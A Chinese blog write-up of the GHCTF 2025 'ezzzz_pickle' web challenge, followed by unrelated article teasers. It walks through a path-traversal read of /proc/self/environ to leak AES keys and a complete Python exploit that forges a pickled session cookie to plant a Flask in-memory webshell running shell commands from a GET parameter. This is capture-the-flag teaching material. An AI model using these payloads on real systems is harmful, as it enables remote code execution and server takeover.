news 2026/6/3 15:53:06

[GHCTF 2025]ezzzz_pickle

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
[GHCTF 2025]ezzzz_pickle

登录页面

进行爆破,得到账号密码

admin:admin123

登陆成功后

查看源码,有个hint:session_pickle,猜测是python pickle反序列化

抓个包看看,filename参数

读取源码

app.py

from flask import Flask, request, redirect, make_response, render_template from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes from cryptography.hazmat.backends import default_backend from cryptography.hazmat.primitives import padding import pickle import base64 import time import os app = Flask(__name__) def generate_key_iv(): key = os.environ.get('SECRET_key').encode()//这是我们需要获取的东西,从系统环境中读取key和iv iv = os.environ.get('SECRET_iv').encode() return key, iv def aes_encrypt_decrypt(data, key, iv, mode='encrypt'): cipher = Cipher( algorithms.AES(key), modes.CBC(iv), backend=default_backend() ) if mode == 'encrypt': encryptor = cipher.encryptor() padder = padding.PKCS7(//对明文做PKCS7填充 algorithms.AES.block_size ).padder() padded_data = ( padder.update(data.encode()) + padder.finalize() ) result = (//加密二进制数据 encryptor.update(padded_data) + encryptor.finalize() ) return base64.b64encode(result).decode()//密文做base64编码传为字符串 elif mode == 'decrypt': decryptor = cipher.decryptor() encrypted_data_bytes = base64.b64decode(data)//base64解码得到AES密文 decrypted_data = (//AES-CBC解密得到带填充的明文 decryptor.update(encrypted_data_bytes) + decryptor.finalize() ) unpadder = padding.PKCS7(//PKCS去填充 algorithms.AES.block_size ).unpadder() unpadded_data = ( unpadder.update(decrypted_data) + unpadder.finalize() ) return unpadded_data.decode()//解码为普通字符串返回 //整个 Session 是 Pickle 数据 → Base64 → AES-CBC 加密 → 放入 Cookie 的多层包装。 users = { "admin": "admin123", } def create_session(username): session_data = { "username": username, "expires": time.time() + 3600 } pickled = pickle.dumps(session_data)//pickle反序列化字典 pickled_data = base64.b64encode(pickled).decode('utf-8')//反序列化结果Base64编码 key, iv = generate_key_iv() session = aes_encrypt_decrypt(//AES加密base64字符串 key, iv, mode='encrypt' ) return session//登录成功,值会被设置到cookie中 def dowload_file(filename): path = os.path.join("static", filename)//没有过滤../ with open(path, 'rb') as f: data = f.read().decode('utf-8') return data def validate_session(cookie): try: key, iv = generate_key_iv() pickled = aes_encrypt_decrypt( cookie, key, iv, mode='decrypt'//解密cookie ) pickled_data = base64.b64decode(pickled) session_data = pickle.loads(pickled_data) if session_data["username"] != "admin"://校验admin,session是否过期 return False return ( session_data if session_data["expires"] > time.time() else False ) except: return False @app.route("/", methods=['GET', 'POST']) def index(): if "session" in request.cookies: session = validate_session( request.cookies["session"] ) if session: data = "" filename = request.form.get("filename")//接收前端的filename参数,可进行路径穿越 if filename: data = dowload_file(filename) return render_template( "index.html", name=session['username'], file_data=data ) return redirect("/login") @app.route("/login", methods=["GET", "POST"])//login接口 def login(): if request.method == "POST": username = request.form.get("username") password = request.form.get("password") if users.get(username) == password: resp = make_response( redirect("/") ) resp.set_cookie( "session", create_session(username) ) return resp return render_template( "login.html", error="Invalid username or password" ) return render_template("login.html") @app.route("/logout") def logout(): resp = make_response( redirect("/login") ) resp.delete_cookie("session") return resp if __name__ == "__main__": app.run( host="0.0.0.0", debug=False )

key和iv是在环境变量里面的(从源码中得知),进行读取环境变量

def generate_key_iv(): key = os.environ.get('SECRET_key').encode()//这是我们需要获取的东西,从系统环境中读取key和iv iv = os.environ.get('SECRET_iv').encode() return key, iv

payload:filename=/proc/self/envsion

这里得到了secret_key和secret_iv

SECRET_key=ajwdopldwjdowpajdmslkmwjrfhgnbbv SECRET_iv=asdwdggiouewhgpw

打内存马

内存马是无文件webshell,就是服务器上不会存在需要连接的webshell脚本文件

内存马的原理就是在web组件或者应用程序中,注册一层访问路由,访问者通过这层路由,来执行我们控制器中的代码

Pickle 本身允许在反序列化时执行任意 Python 代码

进行伪造session,生成cookie

import os import requests import pickle import base64 from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes from cryptography.hazmat.backends import default_backend from cryptography.hazmat.primitives import padding def aes_encrypt_decrypt(data, key, iv, mode='encrypt'): cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend()) if mode == 'encrypt': encryptor = cipher.encryptor() padder = padding.PKCS7(algorithms.AES.block_size).padder() padded_data = padder.update(data.encode()) + padder.finalize() result = encryptor.update(padded_data) + encryptor.finalize() return base64.b64encode(result).decode() elif mode == 'decrypt': decryptor = cipher.decryptor() encrypted_data_bytes = base64.b64decode(data) decrypted_data = decryptor.update(encrypted_data_bytes) + decryptor.finalize() unpadder = padding.PKCS7(algorithms.AES.block_size).unpadder() unpadded_data = unpadder.update(decrypted_data) + unpadder.finalize() return unpadded_data.decode() class A(): def __reduce__(self): return (exec,("global exc_class;global code;exc_class, code = app._get_exc_class_and_code(404);app.error_handler_spec[None][code][exc_class] = lambda a:__import__('os').popen(request.args.get('shell')).read()",)) def exp(url): a = A() pickled = pickle.dumps(a) print(pickled) key = b"ajwdopldwjdowpajdmslkmwjrfhgnbbv" iv = b"asdwdggiouewhgpw" pickled_data = base64.b64encode(pickled).decode('utf-8') payload=aes_encrypt_decrypt(pickled_data,key,iv,mode='encrypt') print(payload) Cookie={"session":payload} request = requests.post(url,cookies=Cookie) print(request) if __name__ == '__main__': url="http://node2.anna.nssctf.cn:20228/" exp(url)

__reduce__() -> 反序列化的时候不会正常创建对象,而是执行指定的函数

pickled = pickle.dumps(a) 里面记录的是反序列化时调用 exec,参数为:"global exc_class ..."

global exc_class; global code; exc_class, code = app._get_exc_class_and_code(404); app.error_handler_spec[None][code][exc_class] = lambda a:__import__('os').popen(request.args.get('shell')).read()

global exc_class;和global code;

声明了全局变量

exc_class:异常类;http:状态码

目的是让它们在函数或 lambda 中也可访问。 在 Flask 中用全局变量并不常见,但这里只是为了 exec 执行时作用域可用

exc_class, code = app._get_exc_class_and_code(404);

_get_exc_class_and_code(404)是flask内部方法

exc_class->对应404的异常类 code->对应HTTP状态码,404 目的:定位 Flask 的 404 错误处理器,方便后面替换。

app.error_handler_spec是flask内部存储错误处理函数的地方

目的是将404错误处理函数换掉,换成一个新的lambda

lambda a:__import__('os').popen(request.args.get('shell')).read()

执行流程:当flask遇到404时,参数a是原来异常对象(不用) request.args.get('shell')->从URL GET参数获取shell的值 __import__('os').popen()->执行系统命令 .read()->读取命令输出

访问任意不存在的页面 + ?shell=命令->执行系统命令->返回命令输出

非预期:

payload:/proc/1/envsion,得到flag

参考文章:GHCTF_web_wp(个人出的题) | L的博客

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/6/3 15:52:40

个人AI编程助手哪个好?2026最新权威AI编程工具推荐

开篇“个人AI编程助手哪个好?零基础想快速做副业产品,选什么工具能少踩坑?”“独立开发者全栈杂活多,有没有能覆盖从想法到上线全流程的高性价比AI编程助手?”这是很多个人开发者、自由职业者和副业创作者的核心困惑&a…

作者头像 李华
网站建设 2026/6/3 15:52:33

2026年6月沧州黄金回收白银回收铂金回收权威排行榜TOP5:纯金+金条+银条+钯金 门店地址联系方式推荐

沧州2026年5月最新黄金白银铂金回收权威排行榜TOP5:纯金金条银条钯金 门店地址联系方式推荐 沧州作为一座历史悠久的城市,近年来贵金属回收店铺如雨后春笋般涌现,街头巷尾随处可见各类招牌,但服务质量与报价却参差不齐&#xff0c…

作者头像 李华
网站建设 2026/6/3 15:50:18

探讨一个OSPF中NSSA类型的问题

原因:在做题时思考了一个问题,R5是必然有7类的但R3因为经过了7转5是否有7类,R5会进行7转5那么R5会不会也有,带着这个问题,进行了以下的实验求证。原拓扑作者的拓扑。先说结论和结论的图片,配置在最后&#…

作者头像 李华
网站建设 2026/6/3 15:49:18

企业团队编程软件怎么选?2026最新AI编程工具实测推荐

多人协作时AI生成代码风格不统一、新人上手慢、代码审查耗时、团队知识沉淀难,这是很多技术团队选型时最头疼的问题;想找一款能统一规范、沉淀知识库、提升协作效率且性价比高的AI编程工具,到底该从哪款入手?我们作为技术Lead&…

作者头像 李华
网站建设 2026/6/3 15:46:44

Java常用类|独立实验笔记

大家好~本次是Java常用类专项实验拆解,把实验题单独拆成独立笔记,每一个知识点、功能、截图位置一目了然👇笔记:综合拓展编程题📌 实验简介独立完成实战综合小项目,串联本次所有常用类知识点&am…

作者头像 李华